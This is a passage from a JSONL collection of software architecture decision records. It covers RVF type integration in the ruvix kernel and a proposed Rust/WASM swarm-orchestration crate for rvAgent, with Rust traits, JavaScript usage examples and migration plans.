`rvf-crypto` for ML-DSA-65 verification.\n\n### Layer 3: Runtime Bridge (`rvf-runtime` adapter in ruvix)\n\n- A new module `ruvix-nucleus::rvf_bridge` (or `ruvix-boot::rvf_bridge`) acts as an adapter between the kernel's mount syscall and `rvf-runtime::RvfStore`.\n- The bridge translates kernel-internal handle types to RVF store operations.\n- The bridge is feature-gated (`feature = \"rvf-runtime\"`) so the kernel can still run standalone (e.g., on bare metal without filesystem access).\n\n### What Does NOT Change\n\n- The ruvix kernel retains its own `#[no_std]`-compatible internal type system for syscall dispatch.\n- `rvf-kernel` (build-time Linux kernel embedding) remains independent \u2014 it is not a runtime dependency.\n- The ruvix kernel's in-memory `VectorStore` remains separate from `rvf-runtime::RvfStore` (different data planes).\n\n## Consequences\n\n### Positive\n\n- **Single source of truth** for wire types eliminates the risk of format incompatibility between kernel boot images and RVF files.\n- **Real manifest parsing** in the kernel boot path means ruvix can boot from actual RVF packages rather than a parallel manifest format.\n- **Reduced code duplication** in witness logging and signature verification.\n- **Feature-gated integration** preserves the kernel's ability to run in `no_std`/bare-metal environments.\n\n### Negative\n\n- **Build complexity**: `ruvix-types` gains a dependency on `rvf-types` (behind a feature flag), adding cross-workspace dependency management.\n- **Version coupling**: Changes to `rvf-types` wire formats now affect the kernel. This is mitigated by `rvf-types`'s existing stability guarantees (it is at v0.2.0 and published to crates.io).\n- **Migration effort**: Existing ruvix tests (45+ files) that reference `ruvix-types::rvf::*` need updating to use the re-exported types.\n\n### Risks\n\n- **`no_std` compatibility**: `rvf-types` must remain `no_std`-compatible (it already has `default-features = []` with `std` as opt-in). This must be verified before the ruvix kernel takes the dependency.\n- **Circular workspace dependencies**: Since both live in separate Cargo workspaces within the same repo, cross-workspace `path` dependencies require careful version management for crates.io publishing.\n\n## Implementation Plan\n\n| Phase | Scope | Effort |\n|-------|-------|--------|\n| **Phase 1** | Add mount-related types to `rvf-types`. Feature-gate `ruvix-types` to re-export from `rvf-types`. Update ruvix tests. | S |\n| **Phase 2** | Replace `ruvix-boot::manifest` parser with `rvf-manifest` delegation. Replace `ruvix-boot::signature` with `rvf-crypto` delegation. | M |\n| **Phase 3** | Implement `rvf_bridge` adapter in ruvix-nucleus for runtime mount operations using `rvf-runtime`. | M |\n| **Phase 4** | Unify witness log implementations (extract shared trait to `rvf-types`). | S |\n\n## Alternatives Considered\n\n### Alternative A: Full Merge\n\nMerge `ruvix-types` and `rvf-types` into a single crate. Rejected because:\n- `rvf-types` is published on crates.io and used externally.\n- `ruvix-types` is `#[no_std]` first with bare-metal constraints.\n- Merging would force all RVF users to pull in kernel-specific types.\n\n### Alternative B: Status Quo (Keep Separate)\n\nContinue with independent type systems and manual mapping. Rejected because:\n- Type divergence is already causing inconsistencies (mount handle layout, verify status codes).\n- Duplicate witness/signature code increases maintenance burden.\n- Boot-from-real-RVF is blocked without manifest convergence.\n\n### Alternative C: RVF as a Runtime Dependency of RuVix\n\nMake `rvf-runtime` a direct dependency of `ruvix-nucleus`. Rejected because:\n- `rvf-runtime` requires `std` (filesystem, I/O).\n- The ruvix kernel must remain `no_std`-compatible for bare-metal targets.\n- A bridge adapter (Layer 3) provides the same benefit with cleaner boundaries.", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-106-ruvix-kernel-rvf-integration.md", "created_at": "2026-03-28T11:58:49.943902+00:00", "content_hash": "cdcbe9cbaf3d478ceb34706cd3fd98234d5d973022538069648497705874eb28"} +{"id": "a554880a-c4e9-4d0c-b21e-47935f71c226", "source": "adr", "text": "# ADR-107: rvAgent Native Swarm Orchestration with WASM Integration\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Proposed |\n| **Date** | 2026-03-15 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents Rust Conversion) |\n| **Depends** | ADR-094, ADR-097, ADR-100, ADR-104, ADR-106 |\n| **Crates** | `rvagent-swarm` (new), `rvagent-wasm` (new), `rvagent-core`, `rvagent-backends` |\n\n## Context\n\nThe rvAgent framework currently supports single-agent execution with stub or API-backed models (Anthropic, Gemini). However, enterprise AI orchestration requires multi-agent swarm coordination capabilities natively in Rust, with WASM bindings for JavaScript/TypeScript consumption in `agentic-flow`, `agentdb`, and `ruflo` npm packages.\n\n### Current State\n\n1. **ruflo/claude-flow** provides swarm orchestration in pure TypeScript:\n - 60+ agent types\n - Hierarchical, mesh, pipeline, and adaptive topologies\n - HNSW vector memory (150x-12,500x faster)\n - Self-learning hooks with neural patterns\n - MCP integration\n\n2. **rvAgent** provides Rust agent primitives:\n - AgentGraph execution engine\n - Tool system (filesystem, execute, grep, glob)\n - Backend abstraction (Anthropic, Gemini)\n - Memory system (in-progress)\n\n3. **RuVector** provides 90+ WASM-ready crates:\n - Vector operations (`ruvector-core`, `ruvector-wasm`)\n - HNSW indexing (`micro-hnsw-wasm`, `ruvector-hyperbolic-hnsw-wasm`)\n - Learning algorithms (`ruvector-learning-wasm`)\n - Consensus (`ruvector-raft`, `ruvector-delta-consensus`)\n - Attention mechanisms (`ruvector-attention-wasm`)\n - Graph neural networks (`ruvector-gnn-wasm`)\n - Task routing (`ruvector-router-wasm`)\n\n### Gap\n\nNative Rust swarm orchestration with WASM export is missing. TypeScript packages must re-implement coordination logic instead of calling optimized Rust code via WASM.\n\n---\n\n## Decision\n\n### 1. New `rvagent-swarm` Crate\n\nCreate a native Rust swarm orchestration crate that integrates existing RuVector primitives.\n\n#### 1.1 Crate Structure\n\n```\ncrates/rvAgent/rvagent-swarm/\n Cargo.toml\n src/\n lib.rs # Public API surface\n topology/\n mod.rs # Topology trait\n hierarchical.rs # Queen \u2192 Workers (anti-drift)\n mesh.rs # Peer-to-peer (fully connected)\n pipeline.rs # Sequential stages\n star.rs # Central hub with spokes\n adaptive.rs # Dynamic switching\n coordinator/\n mod.rs # SwarmCoordinator trait\n queen.rs # Queen coordination logic\n worker.rs # Worker agent behavior\n consensus.rs # Consensus protocol adapter\n routing/\n mod.rs # Task routing\n semantic.rs # HNSW-based semantic routing\n load_balance.rs # Round-robin, weighted, adaptive\n complexity.rs # 3-tier model routing (ADR-026)\n memory/\n mod.rs # Shared memory interface\n hnsw.rs # HNSW index wrapper\n vector_store.rs # Vector storage\n learning/\n mod.rs # Pattern learning\n sona.rs # SONA integration\n ewc.rs # EWC++ memory consolidation\n hooks/\n mod.rs # Pre/post hooks\n pre_task.rs # Pre-task intelligence\n post_task.rs # Post-task learning\n route.rs # Task-to-agent routing\n tests/\n topology_tests.rs\n coordinator_tests.rs\n routing_tests.rs\n```\n\n#### 1.2 Core Traits\n\n```rust\n// crates/rvAgent/rvagent-swarm/src/lib.rs\n\nuse async_trait::async_trait;\nuse serde::{Deserialize, Serialize};\n\n/// Swarm topology enumeration\n#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq)]\npub enum SwarmTopology {\n Hierarchical, // Queen \u2192 Workers\n Mesh, // Peer-to-peer\n Pipeline, // Sequential stages\n Star, // Central hub\n HierarchicalMesh, // V3 hybrid\n Adaptive, // Dynamic switching\n}\n\n/// Agent role within a swarm\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub enum SwarmRole {\n Queen { workers: Vec<AgentId> },\n Worker { queen: Option<AgentId> },\n Peer { neighbors: Vec<AgentId> },\n Stage { position: usize, next: Option<AgentId> },\n}\n\n/// Swarm configuration\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct SwarmConfig {\n pub topology: SwarmTopology,\n pub max_agents: usize,\n pub strategy: CoordinationStrategy,\n pub consensus: ConsensusAlgorithm,\n pub memory_backend: MemoryBackend,\n}\n\n/// Coordination strategy for task distribution\n#[derive(Debug, Clone, Copy, Serialize, Deserialize)]\npub enum CoordinationStrategy {\n Specialized, // Clear role boundaries\n Balanced, // Even distribution\n Adaptive, // Dynamic adjustment\n}\n\n/// Consensus algorithm for distributed state\n#[derive(Debug, Clone, Copy, Serialize, Deserialize)]\npub enum ConsensusAlgorithm {\n Raft, // Leader-based (f < n/2 failures)\n Byzantine, // BFT (f < n/3 failures)\n Gossip, // Eventual consistency\n CRDT, // Conflict-free replicated data types\n}\n\n/// Memory backend selection\n#[derive(Debug, Clone, Copy, Serialize, Deserialize)]\npub enum MemoryBackend {\n InMemory, // Ephemeral\n HNSW, // Vector-indexed\n Hybrid, // HNSW + persistent storage\n}\n\n/// Swarm coordinator trait\n#[async_trait]\npub trait SwarmCoordinator: Send + Sync {\n /// Initialize the swarm with configuration\n async fn init(&mut self, config: SwarmConfig) -> Result<SwarmId>;\n\n /// Spawn a new agent in the swarm\n async fn spawn_agent(&mut self, agent_type: &str, role: SwarmRole) -> Result<AgentId>;\n\n /// Route a task to the optimal agent\n async fn route_task(&self, task: &TaskDescription) -> Result<AgentId>;\n\n /// Execute a task with swarm coordination\n async fn execute(&mut self, task: &TaskDescription) -> Result<TaskResult>;\n\n /// Broadcast a message to all agents\n async fn broadcast(&self, message: SwarmMessage) -> Result<()>;\n\n /// Get swarm status\n async fn status(&self) -> Result<SwarmStatus>;\n\n /// Shutdown the swarm gracefully\n async fn shutdown(&mut self, graceful: bool) -> Result<()>;\n}\n```\n\n#### 1.3 HNSW Integration\n\n```rust\n// crates/rvAgent/rvagent-swarm/src/memory/hnsw.rs\n\nuse micro_hnsw::HnswIndex;\n\n/// HNSW-backed vector memory for semantic routing\npub struct HnswMemory {\n index: HnswIndex<f32>,\n dimension: usize,\n ef_construction: usize,\n m: usize,\n}\n\nimpl HnswMemory {\n pub fn new(dimension: usize) -> Self {\n Self {\n index: HnswIndex::new(dimension, 16, 200),\n dimension,\n ef_construction: 200,\n m: 16,\n }\n }\n\n /// Store a pattern with vector embedding\n pub fn store(&mut self, key: &str, embedding: &[f32]) -> Result<()>;\n\n /// Semantic search using HNSW\n pub fn search(&self, query: &[f32], k: usize) -> Result<Vec<(String, f32)>>;\n}\n```\n\n---\n\n### 2. New `rvagent-wasm` Crate\n\nWASM bindings for consuming rvAgent swarm functionality from JavaScript/TypeScript.\n\n#### 2.1 Crate Structure\n\n```\ncrates/rvAgent/rvagent-wasm/\n Cargo.toml\n src/\n lib.rs # wasm-bindgen entry point\n backends.rs # In-memory virtual filesystem\n bridge.rs # JS \u2194 Rust message bridge\n mcp.rs # MCP server bindings (JSON-RPC 2.0)\n rvf.rs # RVF container builder/parser\n tools.rs # Tool execution system\n pkg/ # Generated WASM package\n```\n\n#### 2.2 RVF Container Support (rvf.rs)\n\nThe `rvf.rs` module provides WASM bindings for building and parsing RVF (RuVector Format) cognitive containers. RVF containers package tools, prompts, skills, orchestrator configs, MCP tools, and Ruvix capabilities into a single verifiable binary format.\n\n**AGI Segment Tags:**\n\n| Tag | Hex | Description |\n|-----|-----|-------------|\n| `TOOL_REGISTRY` | `0x0105` | Tool definitions with parameters |\n| `AGENT_PROMPTS` | `0x0106` | System prompts for agents |\n| `SKILL_LIBRARY` | `0x0109` | Skill definitions with triggers |\n| `ORCHESTRATOR` | `0x0108` | Multi-agent topology config |\n| `MIDDLEWARE_CONFIG` | `0x010A` | Middleware settings |\n| `MCP_TOOLS` | `0x010B` | MCP tool entries (new) |\n| `CAPABILITY_SET` | `0x010C` | Ruvix capability definitions (new) |\n\n**RVF Container Binary Format:**\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Magic: \"RVF\\x01\" (4 bytes) \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Segment Count: u32 LE (4 bytes) \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Segment 1: type(1) + tag(2) + len(4) + data(len) \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Segment 2: ... \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 ... \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 SHA3-256 Checksum (32 bytes) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n**JavaScript Usage:**\n\n```javascript\nimport { WasmRvfBuilder } from '@ruvector/rvagent/wasm';\n\n// Build an RVF container\nconst builder = new WasmRvfBuilder();\n\n// Add tools\nbuilder.addTool(JSON.stringify({\n name: \"web_search\",\n description: \"Search the web\",\n parameters: { query: \"string\" },\n returns: \"results\"\n}));\n\n// Add MCP tools\nbuilder.addMcpTools(JSON.stringify([{\n name: \"read_file\",\n description: \"Read a file\",\n input_schema: { path: { type: \"string\" } },\n group: \"file\"\n}]));\n\n// Add Ruvix capabilities\nbuilder.addCapabilities(JSON.stringify([{\n name: \"file_read\",\n rights: [\"read\"],\n scope: \"sandbox\",\n delegation_depth: 2\n}]));\n\n// Add agent prompts\nbuilder.addPrompt(JSON.stringify({\n name: \"coder\",\n system_prompt: \"You are a coding assistant\",\n version: \"1.0.0\"\n}));\n\n// Build container (returns Uint8Array)\nconst container = builder.build();\n\n// Parse existing container\nconst parsed = WasmRvfBuilder.parse(container);\nconsole.log(parsed.tools); // Tool definitions\nconsole.log(parsed.mcp_tools); // MCP tool entries\nconsole.log(parsed.capabilities); // Ruvix capabilities\nconsole.log(parsed.prompts); // Agent prompts\nconsole.log(parsed.skills); // Skill definitions\nconsole.log(parsed.orchestrator); // Orchestrator config\n\n// Validate container integrity\nconst isValid = WasmRvfBuilder.validate(container);\n```\n\n#### 2.3 MCP Server Support (mcp.rs)\n\nThe `mcp.rs` module implements an MCP (Model Context Protocol) server that runs entirely in WASM. It uses JSON-RPC 2.0 over a virtual transport.\n\n**Available Tools:**\n\n| Tool | Description |\n|------|-------------|\n| `read_file` | Read file from virtual filesystem |\n| `write_file` | Write file to virtual filesystem |\n| `edit_file` | Edit file with string replacement |\n| `list_files` | List files in virtual filesystem |\n| `write_todos` | Manage todo list |\n\n**JavaScript Usage:**\n\n```javascript\nimport { WasmMcpServer } from '@ruvector/rvagent/wasm';\n\nconst mcp = new WasmMcpServer();\n\n// Initialize (returns server info)\nconst initResponse = await mcp.handle_message(JSON.stringify({\n jsonrpc: \"2.0\",\n id: 1,\n method: \"initialize\",\n params: { protocolVersion: \"2024-11-05\" }\n}));\n\n// List available tools\nconst toolsResponse = await mcp.handle_message(JSON.stringify({\n jsonrpc: \"2.0\",\n id: 2,\n method: \"tools/list\"\n}));\n\n// Execute a tool\nconst execResponse = await mcp.handle_message(JSON.stringify({\n jsonrpc: \"2.0\",\n id: 3,\n method: \"tools/call\",\n params: {\n name: \"write_file\",\n arguments: { path: \"test.txt\", content: \"Hello WASM\" }\n }\n}));\n```\n\n#### 2.4 Ruvix Capability Integration\n\nRuvix capabilities provide a fine-grained security model for AI agents, based on object-capability theory. Each capability defines:\n\n| Field | Type | Description |\n|-------|------|-------------|\n| `name` | String | Capability identifier |\n| `rights` | Vec<String> | Allowed operations (read, write, execute, etc.) |\n| `scope` | String | Scope boundary (sandbox, local, network) |\n| `delegation_depth` | u8 | Max delegation hops (0 = no delegation) |\n\n**Capability-Based Tool Access:**\n\n```rust\n// In rvf.rs\npub struct CapabilityDef {\n pub name: String,\n pub rights: Vec<String>,\n pub scope: String,\n pub delegation_depth: u8,\n}\n```\n\n**Integration with MCP Tools:**\n\n```javascript\n// RVF container with capabilities\nconst builder = new WasmRvfBuilder();\n\n// Define capability\nbuilder.addCapabilities(JSON.stringify([{\n name: \"file_read\",\n rights: [\"read\"],\n scope: \"sandbox\",\n delegation_depth: 0 // No delegation\n}, {\n name: \"file_write\",\n rights: [\"write\", \"create\"],\n scope: \"sandbox\",\n delegation_depth: 1 // Can delegate once\n}]));\n\n// MCP tools reference capabilities\nbuilder.addMcpTools(JSON.stringify([{\n name: \"read_file\",\n description: \"Read file (requires file_read capability)\",\n input_schema: { path: { type: \"string\" } },\n group: \"file\"\n}]));\n```\n\n#### 2.2 WASM Bindings\n\n```rust\n// crates/rvAgent/rvagent-wasm/src/lib.rs\n\nuse wasm_bindgen::prelude::*;\nuse rvagent_swarm::{SwarmCoordinator, SwarmConfig, SwarmTopology};\n\n/// WASM-exported swarm coordinator\n#[wasm_bindgen]\npub struct WasmSwarmCoordinator {\n inner: Box<dyn SwarmCoordinator>,\n}\n\n#[wasm_bindgen]\nimpl WasmSwarmCoordinator {\n /// Create a new swarm coordinator\n #[wasm_bindgen(constructor)]\n pub fn new(config: JsValue) -> Result<WasmSwarmCoordinator, JsValue> {\n let config: SwarmConfig = serde_wasm_bindgen::from_value(config)?;\n Ok(Self {\n inner: Box::new(DefaultSwarmCoordinator::new(config)),\n })\n }\n\n /// Spawn an agent\n #[wasm_bindgen]\n pub async fn spawn_agent(&mut self, agent_type: &str) -> Result<JsValue, JsValue> {\n let id = self.inner.spawn_agent(agent_type, SwarmRole::Worker { queen: None }).await?;\n Ok(serde_wasm_bindgen::to_value(&id)?)\n }\n\n /// Route a task\n #[wasm_bindgen]\n pub async fn route_task(&self, task: JsValue) -> Result<JsValue, JsValue> {\n let task: TaskDescription = serde_wasm_bindgen::from_value(task)?;\n let agent_id = self.inner.route_task(&task).await?;\n Ok(serde_wasm_bindgen::to_value(&agent_id)?)\n }\n\n /// Execute a task\n #[wasm_bindgen]\n pub async fn execute(&mut self, task: JsValue) -> Result<JsValue, JsValue> {\n let task: TaskDescription = serde_wasm_bindgen::from_value(task)?;\n let result = self.inner.execute(&task).await?;\n Ok(serde_wasm_bindgen::to_value(&result)?)\n }\n\n /// Get swarm status\n #[wasm_bindgen]\n pub async fn status(&self) -> Result<JsValue, JsValue> {\n let status = self.inner.status().await?;\n Ok(serde_wasm_bindgen::to_value(&status)?)\n }\n}\n\n/// WASM-exported HNSW memory\n#[wasm_bindgen]\npub struct WasmHnswMemory {\n inner: HnswMemory,\n}\n\n#[wasm_bindgen]\nimpl WasmHnswMemory {\n #[wasm_bindgen(constructor)]\n pub fn new(dimension: usize) -> Self {\n Self {\n inner: HnswMemory::new(dimension),\n }\n }\n\n #[wasm_bindgen]\n pub fn store(&mut self, key: &str, embedding: &[f32]) -> Result<(), JsValue> {\n self.inner.store(key, embedding).map_err(|e| JsValue::from_str(&e.to_string()))\n }\n\n #[wasm_bindgen]\n pub fn search(&self, query: &[f32], k: usize) -> Result<JsValue, JsValue> {\n let results = self.inner.search(query, k)?;\n Ok(serde_wasm_bindgen::to_value(&results)?)\n }\n}\n```\n\n#### 2.3 npm Package Structure\n\nThe WASM output will be published as part of the `@ruvector/rvagent` npm package:\n\n```json\n{\n \"name\": \"@ruvector/rvagent\",\n \"version\": \"0.1.0\",\n \"description\": \"Native Rust swarm orchestration for AI agents via WASM\",\n \"main\": \"dist/index.js\",\n \"types\": \"dist/index.d.ts\",\n \"files\": [\n \"dist/\",\n \"pkg/\"\n ],\n \"exports\": {\n \".\": {\n \"import\": \"./dist/index.mjs\",\n \"require\": \"./dist/index.js\",\n \"types\": \"./dist/index.d.ts\"\n },\n \"./wasm\": {\n \"import\": \"./pkg/rvagent_wasm.js\",\n \"types\": \"./pkg/rvagent_wasm.d.ts\"\n }\n },\n \"dependencies\": {\n \"@ruvector/core\": \"^0.1.0\",\n \"@ruvector/hnsw\": \"^0.1.0\"\n }\n}\n```\n\n---\n\n### 3. Integration with Existing npm Packages\n\n#### 3.1 agentic-flow Integration\n\n```typescript\n// In @agentic-flow/core\n\nimport { WasmSwarmCoordinator, WasmHnswMemory } from '@ruvector/rvagent/wasm';\n\nexport class SwarmEngine {\n private coordinator: WasmSwarmCoordinator;\n private memory: WasmHnswMemory;\n\n constructor(config: SwarmConfig) {\n this.coordinator = new WasmSwarmCoordinator(config);\n this.memory = new WasmHnswMemory(384); // MiniLM embedding dimension\n }\n\n async routeTask(task: TaskDescription): Promise<AgentId> {\n // Use native Rust HNSW for 150x faster semantic routing\n return await this.coordinator.route_task(task);\n }\n}\n```\n\n#### 3.2 agentdb Integration\n\n```typescript\n// In @agentdb/core\n\nimport { WasmHnswMemory } from '@ruvector/rvagent/wasm';\n\nexport class VectorStore {\n private hnsw: WasmHnswMemory;\n\n constructor(dimension: number = 384) {\n this.hnsw = new WasmHnswMemory(dimension);\n }\n\n async store(key: string, embedding: Float32Array): Promise<void> {\n this.hnsw.store(key, Array.from(embedding));\n }\n\n async search(query: Float32Array, k: number): Promise<SearchResult[]> {\n return this.hnsw.search(Array.from(query), k);\n }\n}\n```\n\n#### 3.3 ruflo Integration\n\n```typescript\n// In ruflo CLI\n\nimport { WasmSwarmCoordinator } from '@ruvector/rvagent/wasm';\n\nexport async function initSwarm(config: SwarmConfig): Promise<SwarmHandle> {\n const coordinator = new WasmSwarmCoordinator({\n topology: config.topology,\n max_agents: config.maxAgents,\n strategy: 'specialized',\n consensus: 'raft',\n memory_backend: 'hnsw',\n });\n\n return {\n spawnAgent: (type) => coordinator.spawn_agent(type),\n routeTask: (task) => coordinator.route_task(task),\n execute: (task) => coordinator.execute(task),\n status: () => coordinator.status(),\n };\n}\n```\n\n---\n\n### 4. Topology Implementations\n\n#### 4.1 Hierarchical (Queen-Led)\n\n```rust\n// crates/rvAgent/rvagent-swarm/src/topology/hierarchical.rs\n\npub struct HierarchicalTopology {\n queen_id: AgentId,\n workers: Vec<AgentId>,\n task_queue: VecDeque<TaskDescription>,\n}\n\nimpl HierarchicalTopology {\n /// Anti-drift: Queen maintains authoritative state\n pub async fn coordinate(&mut self, task: TaskDescription) -> Result<TaskResult> {\n // 1. Queen analyzes task\n let subtasks = self.queen_decompose(&task).await?;\n\n // 2. Assign to workers based on specialization\n let assignments: Vec<_> = subtasks.iter()\n .zip(self.workers.iter().cycle())\n .map(|(subtask, worker)| (worker.clone(), subtask.clone()))\n .collect();\n\n // 3. Execute in parallel with coordination\n let results = futures::future::join_all(\n assignments.iter().map(|(worker, subtask)| {\n self.execute_on_worker(worker, subtask)\n })\n ).await;\n\n // 4. Queen synthesizes results\n self.queen_synthesize(&task, &results).await\n }\n}\n```\n\n#### 4.2 Mesh (Peer-to-Peer)\n\n```rust\n// crates/rvAgent/rvagent-swarm/src/topology/mesh.rs\n\npub struct MeshTopology {\n peers: HashMap<AgentId, PeerInfo>,\n consensus: Box<dyn Consensus>,\n}\n\nimpl MeshTopology {\n /// All peers participate in decision-making\n pub async fn coordinate(&mut self, task: TaskDescription) -> Result<TaskResult> {\n // 1. Broadcast task to all peers\n self.broadcast(SwarmMessage::NewTask(task.clone())).await?;\n\n // 2. Each peer contributes perspective\n let perspectives = self.gather_perspectives(&task).await?;\n\n // 3. Reach consensus on approach\n let consensus = self.consensus.propose(perspectives).await?;\n\n // 4. Execute agreed approach\n self.execute_consensus(&task, &consensus).await\n }\n}\n```\n\n#### 4.3 Pipeline (Sequential)\n\n```rust\n// crates/rvAgent/rvagent-swarm/src/topology/pipeline.rs\n\npub struct PipelineTopology {\n stages: Vec<(AgentId, StageConfig)>,\n}\n\nimpl PipelineTopology {\n /// Sequential processing through stages\n pub async fn coordinate(&mut self, task: TaskDescription) -> Result<TaskResult> {\n let mut current_input = task.input.clone();\n\n for (stage_idx, (agent_id, config)) in self.stages.iter().enumerate() {\n let stage_task = TaskDescription {\n input: current_input,\n stage: Some(stage_idx),\n ..task.clone()\n };\n\n let result = self.execute_stage(agent_id, &stage_task).await?;\n current_input = result.output;\n }\n\n Ok(TaskResult { output: current_input, ..Default::default() })\n }\n}\n```\n\n---\n\n### 5. 3-Tier Model Routing Integration\n\nIntegrate ADR-026 model routing for cost optimization:\n\n```rust\n// crates/rvAgent/rvagent-swarm/src/routing/complexity.rs\n\n#[derive(Debug, Clone, Copy)]\npub enum ModelTier {\n Tier1Booster, // WASM transform, <1ms, $0\n Tier2Haiku, // Simple tasks, ~500ms, $0.0002\n Tier3Sonnet, // Complex reasoning, ~2s, $0.003\n Tier3Opus, // Architecture/security, ~5s, $0.015\n}\n\npub struct ComplexityRouter {\n booster_intents: HashSet<&'static str>,\n}\n\nimpl ComplexityRouter {\n pub fn route(&self, task: &TaskDescription) -> ModelTier {\n // Check if task can be handled by Tier 1 (no LLM needed)\n if let Some(intent) = self.detect_booster_intent(task) {\n return ModelTier::Tier1Booster;\n }\n\n // Analyze complexity for Tier 2 vs Tier 3\n let complexity = self.analyze_complexity(task);\n\n match complexity {\n c if c < 0.3 => ModelTier::Tier2Haiku,\n c if c < 0.7 => ModelTier::Tier3Sonnet,\n _ => ModelTier::Tier3Opus,\n }\n }\n\n fn detect_booster_intent(&self, task: &TaskDescription) -> Option<&'static str> {\n // Fast pattern matching for booster-eligible transforms\n for intent in &[\"var-to-const\", \"add-types\", \"remove-console\", \"add-logging\"] {\n if task.description.contains(intent) {\n return Some(intent);\n }\n }\n None\n }\n}\n```\n\n---\n\n### 6. Performance Targets\n\n| Metric | TypeScript (Current) | Rust/WASM (Target) | Improvement |\n|--------|---------------------|-------------------|-------------|\n| HNSW Search (1M vectors) | 15ms | 0.1ms | 150x |\n| Task Routing | 50ms | 0.5ms | 100x |\n| Swarm Init | 200ms | 20ms | 10x |\n| Memory Footprint | 500MB | 50MB | 10x |\n| WASM Bundle Size | N/A | 2MB | - |\n\n---\n\n### 7. Migration Path\n\n#### Phase 1: Core Crates (Week 1-2)\n- Create `rvagent-swarm` with topology implementations\n- Create `rvagent-wasm` with basic bindings\n- Unit tests for all topologies\n\n#### Phase 2: HNSW Integration (Week 3)\n- Integrate `micro-hnsw-wasm` for vector memory\n- Implement semantic routing\n- Benchmark against TypeScript baseline\n\n#### Phase 3: npm Package (Week 4)\n- Publish `@ruvector/rvagent` to npm\n- Update `agentic-flow` to use WASM bindings\n- Update `agentdb` to use WASM HNSW\n\n#### Phase 4: ruflo Integration (Week 5)\n- Update ruflo CLI to use native coordinator\n- Deprecate pure-TypeScript swarm engine\n- Performance validation\n\n---\n\n## Consequences\n\n### Positive\n1. **Performance**: 10-150x faster swarm operations via native Rust\n2. **Memory efficiency**: 10x smaller footprint\n3. **Single source of truth**: One Rust implementation, multiple language bindings\n4. **Type safety**: Rust's type system catches errors at compile time\n5. **Witness chains**: RVF audit trail for all swarm operations\n\n### Negative\n1. **Build complexity**: WASM compilation adds build step\n2. **Debugging**: Stack traces cross WASM boundary\n3. **Bundle size**: ~2MB WASM adds to npm package\n\n### Neutral\n1. **Learning curve**: Developers must understand WASM interop\n2. **Async handling**: Promise/Future bridging required\n\n---\n\n## References\n\n- ADR-097: DeepAgents Subagent Orchestration\n- ADR-100: DeepAgents RVF Integration Crate Structure\n- ADR-104: rvAgent MCP Skills Topology\n- ADR-106: Ruvix Kernel RVF Integration\n- ruflo npm package: https://www.npmjs.com/package/ruflo\n- micro-hnsw: https://crates.io/crates/micro-hnsw", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-107-rvagent-native-swarm-wasm.md", "created_at": "2026-03-28T11:58:49.944063+00:00", "content_hash": "5a28114b8284ba7fa54f26fb74126b955ad0abc80c0d4bb362a89c86b7e4b054"} +{"id": "facc79e3-d32f-42cb-8ed3-e9e3f210dde9", "source": "adr", "text": "# ADR-108: rvAgent\u2013ruvbot Integration Architecture\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | In Progress |\n| **Date** | 2026-03-15 |\n| **Updated** | 